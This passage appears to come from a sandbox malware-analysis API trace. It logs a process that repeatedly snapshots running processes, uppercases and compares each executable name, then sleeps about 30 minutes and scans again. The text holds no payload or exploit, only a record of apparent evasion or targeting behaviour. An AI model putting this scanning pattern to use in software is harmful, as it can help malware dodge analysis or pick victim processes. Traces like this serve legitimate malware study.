th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0191.341] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0191.341] lstrlenW (lpString="SearchUI.exe") returned 12 [0191.341] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0191.341] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0191.341] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0191.341] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0191.341] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0191.341] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0191.341] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0191.341] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0191.341] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0191.341] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0191.342] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0191.342] lstrlenW (lpString="nice cu.exe") returned 11 [0191.342] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0191.342] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0191.342] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0191.342] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0191.343] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0191.343] lstrlenW (lpString="video_reviewing.exe") returned 19 [0191.343] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0191.343] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0191.343] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0191.343] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0191.343] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0191.343] lstrlenW (lpString="shame.exe") returned 9 [0191.344] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0191.344] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0191.344] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0191.344] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0191.344] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0191.344] lstrlenW (lpString="fantasy.exe") returned 11 [0191.344] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0191.344] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0191.344] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0191.344] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0191.345] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0191.345] lstrlenW (lpString="accepting.exe") returned 13 [0191.345] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0191.345] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0191.345] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0191.345] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0191.346] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0191.346] lstrlenW (lpString="authorized.exe") returned 14 [0191.346] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0191.346] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0191.346] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0191.346] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0191.346] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0191.346] lstrlenW (lpString="isp.exe") returned 7 [0191.347] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0191.347] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0191.347] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0191.347] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0191.347] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0191.347] lstrlenW (lpString="cowboy.exe") returned 10 [0191.347] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0191.347] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0191.347] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0191.347] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0191.348] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0191.348] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0191.348] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0191.348] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0191.348] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0191.348] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0191.349] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0191.349] lstrlenW (lpString="thats.exe") returned 9 [0191.349] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0191.349] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0191.349] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0191.349] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0191.349] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0191.349] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0191.349] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0191.349] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0191.349] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0191.349] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0191.350] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0191.350] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0191.350] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0191.350] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0191.350] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0191.350] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0191.351] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0191.351] lstrlenW (lpString="actual.exe") returned 10 [0191.351] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0191.351] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0191.351] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0191.351] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0191.351] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0191.351] lstrlenW (lpString="potter larry.exe") returned 16 [0191.351] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0191.351] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0191.351] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0191.351] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0191.352] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0191.352] lstrlenW (lpString="contents what certificate.exe") returned 29 [0191.352] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0191.352] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0191.352] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0191.352] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0191.353] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0191.353] lstrlenW (lpString="cindy.exe") returned 9 [0191.353] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0191.353] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0191.353] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0191.353] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0191.353] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0191.354] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0191.354] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0191.354] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0191.354] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0191.354] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0191.354] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0191.354] lstrlenW (lpString="unusual.exe") returned 11 [0191.354] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0191.354] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0191.354] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0191.354] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0191.355] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0191.355] lstrlenW (lpString="pacific.exe") returned 11 [0191.355] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0191.355] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0191.355] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0191.355] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0191.356] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0191.356] lstrlenW (lpString="phantom.exe") returned 11 [0191.356] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0191.356] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0191.356] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0191.356] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.356] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0191.356] lstrlenW (lpString="audiodg.exe") returned 11 [0191.356] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0191.356] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0191.356] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0191.356] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0191.357] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0191.357] lstrlenW (lpString="SCN0tification.exe") returned 18 [0191.357] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0191.357] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0191.357] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0191.357] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.358] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.358] lstrlenW (lpString="svchost.exe") returned 11 [0191.358] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.358] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.358] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.358] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0191.358] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WMIADAP.exe" | out: lpString1="WMIADAP.exe") returned="WMIADAP.exe" [0191.358] lstrlenW (lpString="WMIADAP.exe") returned 11 [0191.358] CharUpperBuffW (in: lpsz="WMIADAP.exe", cchLength=0xb | out: lpsz="WMIADAP.EXE") returned 0xb [0191.358] PathFindFileNameW (pszPath="WMIADAP.EXE") returned="WMIADAP.EXE" [0191.358] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIADAP.EXE" | out: lpString1="WMIADAP.EXE") returned="WMIADAP.EXE" [0191.358] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0191.359] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0191.359] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0191.359] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0191.359] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0191.359] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0191.359] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0191.360] CloseHandle (hObject=0x350) returned 1 [0191.360] Sleep (dwMilliseconds=0x1b7740) [0201.365] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0201.367] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.368] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0201.368] lstrlenW (lpString="[System Process]") returned 16 [0201.368] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0201.368] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0201.368] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0201.368] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0201.369] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0201.369] lstrlenW (lpString="System") returned 6 [0201.369] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0201.369] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0201.369] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0201.369] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0201.369] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0201.369] lstrlenW (lpString="smss.exe") returned 8 [0201.369] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0201.369] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0201.369] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0201.369] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.370] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" 